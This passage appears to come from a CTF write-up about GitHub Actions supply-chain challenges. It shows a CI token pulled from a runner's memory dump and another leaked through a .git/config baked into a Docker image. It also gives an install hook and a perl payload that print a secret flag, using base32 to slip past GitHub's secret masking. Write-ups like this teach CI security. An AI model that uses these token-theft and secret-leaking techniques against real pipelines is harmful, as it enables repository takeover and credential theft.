[New LWP 75]
[New LWP 73]
[New LWP 71]
[New LWP 69]
[New LWP 68]
[New LWP 66]
[New LWP 65]
[New LWP 64]
[New LWP 62]
[New LWP 61]
[New LWP 60]
[New LWP 59]
[New LWP 58]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
0x00007f0d0e6c8d71 in __futex_abstimed_wait_cancelable64 () from /lib/x86_64-linux-gnu/libc.so.6
Saved corefile /tmp/dump.56
[Inferior 1 (process 56) detached]
runner@SandboxHost-639141222097064414:~$ strings /tmp/dump.56 | grep ghs_
ghs_gLVBpCLyJIxB
ghs_gLVBpCLyJIxBimf8hyAlhYrXtukoSr2KWXY1
ghs_gLVBpCLyJIxBimf8hyAlhYrXtukoSr2KWXY1

Woah, it’s a token!

After solving the challenge, I found out that I could’ve just placed some code in ../../_actions/actions/checkout/v6/dist/index.js that gets run in the Post Checkout step.

From here on, all that’s left is to commit a malicious package.json with the following contents to the repository using the token:

{
  "name": "flaggy",
  "scripts": {
    "preinstall": "echo $FLAG | base64"
  }
}

Flag: plfanzen{c0mm1t_hash3s_ar3_accept3d_t00}


Supply Chain Fun #2

Again, we are given two workflows:

.github/workflows/docker-publish.yml

name: Docker

on:
  pull_request_target: {}

env:
  # Use docker.io for Docker Hub if empty
  REGISTRY: ghcr.io
  # github.repository as <account>/<repo>
  IMAGE_NAME: ${{ github.repository }}

jobs:
  build:

    runs-on: ubuntu-latest
    permissions:
      contents: write
      packages: write
      # This is used to complete the identity challenge
      # with sigstore/fulcio when running outside of PRs.
      id-token: write

    steps:
      - name: Checkout repository
        uses: actions/checkout@v4

      # Set up BuildKit Docker container builder to be able to build
      # multi-platform images and export cache
      # https://github.com/docker/setup-buildx-action
      - name: Set up Docker Buildx
        uses: docker/setup-buildx-action@f95db51fddba0c2d1ec667646a06c2ce06100226 # v3.0.0

      # Login against a Docker registry except on PR
      # https://github.com/docker/login-action
      - name: Log into registry ${{ env.REGISTRY }}
        if: github.event_name != 'pull_request'
        uses: docker/login-action@343f7c4344506bcbf9b4de18042ae17996df046d # v3.0.0
        with:
          registry: ${{ env.REGISTRY }}
          username: ${{ github.actor }}
          password: ${{ secrets.GITHUB_TOKEN }}

      # Extract metadata (tags, labels) for Docker
      # https://github.com/docker/metadata-action
      - name: Extract Docker metadata
        id: meta
        uses: docker/metadata-action@96383f45573cb7f253c731d3b3ab81c87ef81934 # v5.0.0
        with:
          images: ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}

      # Build and push Docker image with Buildx (don't push on PR)
      # https://github.com/docker/build-push-action
      - name: Build and push Docker image
        id: build-and-push
        uses: docker/build-push-action@0565240e2d4ab88bba5387d719585280857ece09 # v5.0.0
        with:
          context: .
          push: ${{ github.event_name != 'pull_request' }}
          tags: ${{ steps.meta.outputs.tags }}
          labels: ${{ steps.meta.outputs.labels }}
          cache-from: type=gha
          cache-to: type=gha,mode=max

      - name: Wait for 5 minutes
        run: sleep 300

.github/workflows/flagg.yml

name: Flaggy

on: [pull_request_target]

jobs:
  snapshots:
    runs-on: ubuntu-slim

    steps:
      - name: Checkout
        uses: actions/checkout@v4

      - name: Secure install
        env:
          FLAG: ${{ secrets.PLFANZEN_FLAG }}
        run: perl payload.pl

Free credentials

The Dockerfile in the repo is very simple:

FROM node:24

ADD . .

What does this mean for us? The ADD command adds the current directory, including .git to the image.

As the actions run has a Wait for 5 minutes task after publishing the image, we can extract the $GITHUB_TOKEN from the CI job and abuse the contents: write permissions to add payload.pl to the repo!

Getting the flag

After the image is built by triggering a random PR, we can pull it using docker pull ghcr.io/plfanzen-challenges/challenge-5-$USERNAME:pr-1 and then extract .git/config:

$ docker run -it --entrypoint cat ghcr.io/plfanzen-challenges/challenge-5-$USERNAME:pr-1 -- .git/config
[core]
	repositoryformatversion = 0
	filemode = true
	bare = false
	logallrefupdates = true
[remote "origin"]
	url = https://github.com/Plfanzen-Challenges/challenge-5-$USERNAME
	fetch = +refs/heads/*:refs/remotes/origin/*
[gc]
	auto = 0
[http "https://github.com/"]
	extraheader = AUTHORIZATION: basic eC1hY2Nlc3MtdG9rZW46Z2hzX1A3ak1yZW5iUVZiU1h4VFpLZ3ZjenZQMVNRNno2NzMwVDBYeQ==
[branch "main"]
	remote = origin
	merge = refs/heads/main

I then simply cloned the repository, updated my local .git/config with the authorization header block and pushed my payload:

system('sh', '-c', 'echo "$FLAG" | base32');

After the next run, we get the flag in the job output: plfanzen{Dockerize_4ll_th3_th1ngs}

During my attempts, my actions runs were actually getting blocked by the CTF organization team due to too many runs. It took me multiple attempts to realize that GitHub blocks the plaintext and base64-representations of repository secrets in the job output :)

Closing words

We ended up as #8 on the scoreboard, mixed with teams that used LLMs to assist solves, which we decided against doing. So I’m rather happy with the result!

I really liked the supply chain challenges. I have a background in DevOps and I really enjoyed playing around with them.